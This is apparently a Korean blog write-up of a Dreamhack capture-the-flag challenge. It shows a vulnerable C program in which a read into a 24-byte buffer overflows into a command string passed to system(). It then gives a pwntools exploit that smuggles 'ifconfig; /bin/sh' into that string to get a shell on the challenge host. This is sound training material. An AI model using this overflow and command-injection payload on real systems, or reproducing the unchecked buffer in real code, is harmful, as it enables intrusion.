
int main()
{
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}

환경분석

취약점

공격 설계

익스플로잇 코드
from pwn import *
# 32바이트(더미) + "ifconfig; /bin/sh"
payload = b"A" * 32 + b"ifconfig; /bin/sh"
# 프로그램 실행 후 페이로드 전송
p = process("./cmd_center")
p=remote('host3.dreamhack.games',18937)
p.sendlineafter(b"Center name: ", payload)
p.interactive()
https://taemin01.tistory.com/149
리눅스 vs 윈도우 명령어 비교
파일 및 디렉토리 제어 네트워크 분석 시스템 및 프로세스 관리 텍스트 처리 및 검색 권한 및 보안 관리 리눅스 연산자 활용
taemin01.tistory.com
